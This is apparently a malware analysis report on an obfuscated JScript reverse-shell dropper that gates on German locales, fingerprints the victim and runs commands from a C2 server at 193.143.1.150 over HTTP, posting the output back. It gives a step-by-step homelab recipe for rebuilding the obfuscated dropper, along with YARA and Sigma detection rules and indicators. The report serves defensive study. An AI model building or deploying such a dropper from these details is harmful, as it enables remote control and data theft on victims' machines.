typeanalysisfamilyunclassified-js-german-locale-dropperconfidencehighcreated2026-07-25updated2026-07-25scriptobfuscationevasiondefense-evasionc2loadermitre-attckjscript
SHA-256: 2a336cba9aaf25ccde6488e36ba7521c7ff3892e1d6ed05ee123ad98966a5764

unclassified-js-german-locale-dropper: 2a336cba — 65 KB second sibling, 2,133 reassignment statements, HTTP PHP C2 reverse shell

Executive Summary

A 65 KB JScript reverse shell dropper that uses sequential variable-reassignment obfuscation (84 variables, 2,133 statements, last-wins semantics) to hide an eval-delivered payload. Gates execution to German-speaking locales only (LCIDs 1031/3079/5127/4103/2055) via registry read, then enters an infinite HTTP GET/POST command loop against 193.143.1.150/server.php. Second confirmed sibling of the unclassified-js-german-locale-dropper family. Static-only analysis (CAPE skipped — JScript not a supported binary class).

What It Is

Attribute Value
SHA-256 2a336cba9aaf25ccde6488e36ba7521c7ff3892e1d6ed05ee123ad98966a5764
File name 1015526925273687526.js (numeric filename, malware-bazaar convention)
Size 65,205 bytes
File type ASCII text, single line, no line terminators ^[file.txt]
Format JScript / Windows Script Host
Obfuscation Hand-rolled sequential variable reassignment (84 vars, 2,133 assignments)
Packer None
Compiler None (interpreted script)
Signing None
Family unclassified-js-german-locale-dropper — second confirmed sibling
First sibling d3d22298 (42 KB, 84 vars, ~1,949 assignments) ^[entities/unclassified-js-german-locale-dropper.md]

The file is a single line of JavaScript with no line breaks, 65 KB in length, containing 3,349 semicolon-delimited statements. ^[strings.txt:1] The first 1,000+ statements are inside a function vuk(){...} wrapper; the remaining ~2,000 statements are variable assignments outside the function. The final statement is vuk(); which triggers the eval.

How It Works

Stage 1 — Variable Reassignment Obfuscation

The outer layer defines 84 unique variable names (all lowercase 2–5 character strings: vlmz, kay, wfxl, oxos, dro, etc.). Each variable is assigned a single character value, then immediately overwritten multiple times in sequence. Only the last assignment survives at runtime.

Observed stats:

  • zwvk: 45 assignments (final 'q')
  • bmui: 45 assignments (final 'u')
  • gqhq: 44 assignments (final 'd')
  • goa: 43 assignments (final 'p')
  • xuh: 41 assignments (final '!')

The eval payload is assembled by concatenating these final values inside the function body:

function vuk(){this[vlmz+kay+wfxl+oxos](kay+wfxl+dro+leva+xsrt+zgex+...);}

After resolution, this[vlmz+kay+wfxl+oxos] becomes this['eval'], and the long concatenated string is the Stage 2 payload. ^[floss.txt] ^[strings.txt:1]

Stage 2 — Eval'd Reverse Shell

The resolved payload is JScript code that:

  1. Creates WScript.Shell COM object via this['WScript']['CreateObject']('WScript.Shell')
  2. Locale gate: Reads HKCU\Control Panel\International\Locale, parses as hex integer, checks against whitelist [1031,3079,5127,4103,2055] (German LCIDs). Exits if not matched. ^[deobfuscated-eval]
  3. Fingerprinting: Reads ProductId from HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductId and ComputerName from WScript.Network, concatenates into igt (e.g. XXXXX-XXXXX-XXXXX-XXXXX@COMPUTERNAME).
  4. FileSystemObject staging: Creates a temp text file in %TEMP% named [ProductId]@[ComputerName].txt.
  5. WScript-to-CScript migration: If running under wscript.exe, re-spawns itself via cscript.exe (hidden window) with the .js extension, then quits.
  6. Command loop (infinite for(;;)):
    • GET http://193.143.1.150/server.php?Q=<igt>&<timestamp> via MSXML2.XMLHTTP
    • Checks status==200, response text starts with "OK" prefix
    • Strips the "OK" prefix, replaces %SCRIPT_NAME% placeholder with ScriptFullName
    • Executes via WScript.Shell.Exec('cmd /c ' + command)
    • Captures StdOut.ReadLine() into a buffer for up to 61,329ms
    • POST the stdout buffer back to the same C2 URL
    • Sleeps 63,022ms between iterations

^[deobfuscated-eval]

Decompiled Behavior

Not applicable — this is a JScript file, not a compiled PE. No Ghidra/radare2 decompilation performed. Static analysis via Python-based string extraction and variable substitution.

C2 Infrastructure

Indicator Value
C2 URL http://193.143.1.150/server.php
C2 IP 193.143.1.150
Protocol Plain HTTP GET/POST
Request format GET /server.php?Q=<ProductId>@<ComputerName>&<timestamp>
Response gate status==200, body starts with "OK"
Command placeholder %SCRIPT_NAME% (replaced with victim's script path)
Sleep interval 63,022ms (~63 seconds)
StdOut timeout 61,329ms

The C2 IP 193.143.1.150 is in the same /24 as 193.143.1.231 used by WebDAV dropper siblings fd437971, be448b37, e0e66a94, and 8a490922, suggesting shared infrastructure between the German-locale dropper and WebDAV dropper families. ^[/intel/analyses/8a490922cf5fe7a2f4a5b84942188d8fe2d4e2aa365dc56e63249ce2bcff82e3.html]

Interesting Tidbits

  • Same C2 subnet as WebDAV family: 193.143.1.150 sits in the same /24 as WebDAV C2 193.143.1.231:8888 used by 103rd sibling 25b576b7 and 98th sibling 8a490922. Same actor or shared bulletproof hosting. ^[/intel/analyses/25b576b755738447b7904ca25d337a9cdfd299e8cfa6f3316d03da55a56cff1b.html]
  • Larger but same architecture: 65 KB vs 42 KB for first sibling, but identical variable count (84), same C2, same locale gate. The extra size is purely more reassignment overhead — the resolved payload is byte-for-byte functionally identical to d3d22298 (same command-loop structure, same LCID whitelist, same %SCRIPT_NAME% placeholder).
  • No dictionary object: Unlike the unclassified-js-webdav-dropper family (which uses a 62–100 entry dictionary object), this family uses raw variable concatenation without an intermediate lookup table. ^[entities/unclassified-js-webdav-dropper.md]
  • Numeric filename: 1015526925273687526.js follows the same malware-bazaar numeric-naming convention as the first sibling (14391660018203124.js).
  • No noise padding: Unlike unclassified-js-noise-base64-eval-dropper which uses massive noise strings and base64 encoding, this sample is pure reassignment with no base64 layer. ^[entities/unclassified-js-noise-base64-eval-dropper.md]
  • CScript migration: The payload specifically checks if running under wscript.exe (GUI) and re-launches under cscript.exe (console) to capture stdout for the POST exfiltration. This is a thoughtful operational detail.

How To Mess With It (Homelab Replication)

  1. Create a local .js file with 84 variables, each assigned 20–45 times in sequence (last-wins)
  2. Wrap the payload in function vuk(){this[eval](PAYLOAD);}
  3. Use the same COM API pattern: WScript.Shell, MSXML2.XMLHTTP, Scripting.FileSystemObject
  4. Add the German LCID gate for realism
  5. Point the C2 to a local Python HTTP server (python3 -m http.server 8080)
  6. Verify with cscript //nologo test.js

What you'll learn: How trivial it is to defeat static string extraction with basic reassignment, and why behavioral detection (WScript→HTTP→Exec) is the only reliable defense.

Deployable Signatures

YARA Rule

rule JScript_German_Locale_Dropper_Sequential_Reassignment : script malware {
    meta:
        description = "JScript reverse shell with sequential variable reassignment and German LCID gate"
        author = "PacketPursuit"
        date = "2026-07-25"
        reference = "/intel/analyses/2a336cba9aaf25ccde6488e36ba7521c7ff3892e1d6ed05ee123ad98966a5764.html"
        hash = "2a336cba9aaf25ccde6488e36ba7521c7ff3892e1d6ed05ee123ad98966a5764"
    strings:
        $func = "function vuk(){this[" ascii
        $eval_pattern = /this\[[a-z]+\+[a-z]+\+[a-z]+\+[a-z]+\]\(/ ascii
        $locale_gate = { 31 30 33 31 2C 33 30 37 39 2C 35 31 32 37 2C 34 31 30 33 2C 32 30 35 35 }
        $c2_url = "http://193.143.1.150/server.php" ascii
        $productid_reg = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProductId" ascii
        $computername = "ComputerName" ascii
        $script_name_placeholder = "%SCRIPT_NAME%" ascii
    condition:
        filesize > 30KB and filesize < 100KB
        and #eval_pattern > 10
        and $func
        and any of ($locale_gate, $c2_url, $productid_reg, $script_name_placeholder)
}

Sigma Rule

title: JScript German Locale Dropper Detection
status: experimental
description: Detects WScript execution of JScript with German LCID registry read followed by HTTP network activity and command execution
logsource:
    category: process_creation
    product: windows
detection:
    selection_script:
        CommandLine|contains:
            - 'wscript.exe'
            - 'cscript.exe'
        CommandLine|endswith: '.js'
    selection_registry:
        TargetObject|contains: 'Control Panel\International\Locale'
    selection_network:
        Initiated: true
        DestinationIp: '193.143.1.150'
    selection_exec:
        CommandLine|contains: 'cmd /c'
    condition: selection_script and (selection_registry or selection_network or selection_exec)
falsepositives:
    - Unlikely — the LCID whitelist and C2 IP are specific
level: high

IOC List

Type Value Context
SHA-256 2a336cba9aaf25ccde6488e36ba7521c7ff3892e1d6ed05ee123ad98966a5764 Sample
Filename 1015526925273687526.js Original delivery name
C2 URL http://193.143.1.150/server.php Command fetch / result post
C2 IP 193.143.1.150 Plain HTTP, no TLS
Registry read HKCU\Control Panel\International\Locale Locale gate
Registry read HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductId Fingerprinting
Temp file %TEMP%\[ProductId]@[ComputerName].txt Staging file
Re-spawn path %APPDATA%\[ProductId]@[ComputerName].js CScript migration target
LCID whitelist 1031, 3079, 5127, 4103, 2055 German locale IDs
Sleep interval 63,022ms Between C2 polls
StdOut timeout 61,329ms Command execution timeout
Placeholder %SCRIPT_NAME% Replaced with victim script path

Behavioral Fingerprint

This JScript dropper executes via wscript.exe or cscript.exe, reads the victim's Windows locale from HKCU\Control Panel\International\Locale and terminates immediately if the LCID is not in the German whitelist (1031/3079/5127/4103/2055). It then reads ProductId and ComputerName to build a victim fingerprint, creates a temporary text file in %TEMP%, and enters an infinite HTTP polling loop against 193.143.1.150/server.php using MSXML2.XMLHTTP. Commands returned by the C2 (stripped of an "OK" prefix) are executed via WScript.Shell.Exec('cmd /c ...'), with stdout captured and POSTed back to the same C2 URL. If running under wscript.exe, it re-spawns itself under cscript.exe to enable console output capture.

Detection Signatures (capa→ATT&CK)

Not applicable — capa does not support JScript files. ^[capa.txt]

References

Provenance

  • File type: file utility v12.76 — ASCII text, single line, 65 KB ^[file.txt]
  • String extraction: Python custom script (sequential variable substitution, 84 variables, 2,133 assignments) ^[deobfuscated-eval]
  • No floss/capa/radare2 output — tools failed on non-PE input ^[floss.txt] ^[capa.txt]
  • CAPE skipped: file type not a supported binary class ^[dynamic-analysis.md]